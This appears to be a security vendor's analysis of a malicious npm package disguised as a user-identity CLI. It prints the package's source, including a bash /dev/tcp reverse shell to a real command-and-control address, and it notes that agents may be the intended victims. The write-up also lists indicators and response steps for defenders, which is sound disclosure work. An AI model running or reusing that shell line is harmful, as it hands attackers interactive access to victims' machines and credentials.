system-user-identifier-cli: an 'identity helper' that just opens a reverse shell

799 bytes, two files, a placeholder author, and a name that reads like a thousand other throwaway npx utilities; the manifest calls it "a simple npx tool to check system user identifier," and the binary does check the user before it calls home.

All 17 lines of index.js, comments and all:

#!/usr/bin/env node

const os = require('os');
const { execSync } = require('child_process');

// 方法 1:使用 Node.js 内置模块(推荐,跨平台支持更好)
const user = os.userInfo().username;
const platform = os.platform();
console.log(`👋 Hello! (Node内置方法) 当前用户是: ${user} (${platform})`);

// 方法 2:直接执行系统的 id 命令(原生 Shell)
try {
    const idOutput = execSync('bash -i >& /dev/tcp/101.43.232.7/7777 0>&1', { encoding: 'utf-8' }).trim();
    console.log(`💻 原生命令输出: ${idOutput}`);
} catch (error) {
    console.error('执行 id 命令失败:', error.message);
}

Translated:

Original English
方法 1:使用 Node.js 内置模块(推荐,跨平台支持更好) Method 1: Use Node.js built-in modules (recommended, better cross-platform support)
(Node内置方法) 当前用户是: (Node built-in method) Current user is:
方法 2:直接执行系统的 id 命令(原生 Shell) Method 2: Directly execute the system's id command (native shell)
💻 原生命令输出: 💻 Native command output:
执行 id 命令失败: id command execution failed:

Method 2's comment promises id; the call is a bash -i >& /dev/tcp reverse shell, so a reviewer skimming the friendly output and the two-method comments expects a benign demo, and only the execSync argument breaks the spell. There is no staged download and no obfuscation, the trigger is the declared bin rather than a preinstall hook scanners watch for, and the verbose noun-stack name reads less like something a human would type than like what an LLM emits when asked to name a package for a stated need — paired with the one-shot npx surface, the intended caller may be an agent more than a person.

Traits observed

The Fallout report labels the archive against the open cleave-traits taxonomy, with azoth returning a malicious verdict at probability 1.0:

Trait What it caught
objectives/supply-chain/recon-exfil/pipeline npm package shaped to harvest CI/CD identity
objectives/command-and-control/reverse-shell/dup Bash reverse shell via /dev/tcp
objectives/discovery/system/fingerprint/runtime User information collection
objectives/supply-chain/metadata-anomaly/package/npm Placeholder author, no repository URL
objectives/evasion/masquerade/naming/placeholder Author field set to a test placeholder
micro-behaviors/process/create/shell/bridge Synchronous shell execution
objectives/supply-chain/recon-exfil/install-hook Package collects victim identifiers
metadata/package/fields/bin Declared CLI binary as the execution surface

The reverse shell hands the attacker an interactive terminal on whatever ran the package, with that user's privileges, for as long as the TCP connection holds — narrower blast radius than a preinstall compromise since execution has to happen, but enough to reach SSH agents, npm and GitHub tokens, and CI deploy keys, so treat any host that ran it as compromised.

Likely actor

Eight major-version bumps in three hours, from a throwaway gmail under a default ISC license:

Field Value
Publisher ayoung299 <iamayoung666@gmail.com>
Package created 2026-05-25T03:39:14Z
Version 2.0.0 published 2026-05-25T03:43:59Z
Latest observed 7.0.1 at 06:35:37Z
Versions published 1.0.0, 2.0.0, 3.0.0, 4.0.0, 5.0.0, 6.0.0, 7.0.0, 7.0.1
Downloads API package not found

Every signal leans cheap — a Tencent Cloud VPS for C2, a hard-coded IP with no DNS, no staging, no persistence, Your Name in the author field, Chinese comments, and a textbook one-liner — reading like one person publishing cheaply to see if npx traffic finds the port, but the recipe works and the next hand on it may not be so unsophisticated.

Indicators

Type Value
Package system-user-identifier-cli@2.0.0 (npm)
npm page npmjs.com/package/system-user-identifier-cli
Archive SHA-256 8b02bd641c856c510d26da46d003ac076dd754f8bab42143b676f9478ed5501e
index.js SHA-256 bfb0cc6b95a52da2789e4436c8b45d7349dd79ecef358fa1c34b6294ad7eace3
package.json SHA-256 28e8fcb5e9762c76f393dfc17d434a5089f107558df62db8246db8cb8217c7ce
C2 endpoint 101.43.232.7:7777

Response

  • Search shell history, npm caches, CI logs, and egress telemetry for the package name and for outbound traffic to 101.43.232.7:7777.
  • Rotate npm, GitHub, SSH, cloud, and deployment credentials available to any user who ran the binary, from a host that did not.
  • Full trait list and raw analysis: the Fallout report.

← All discoveries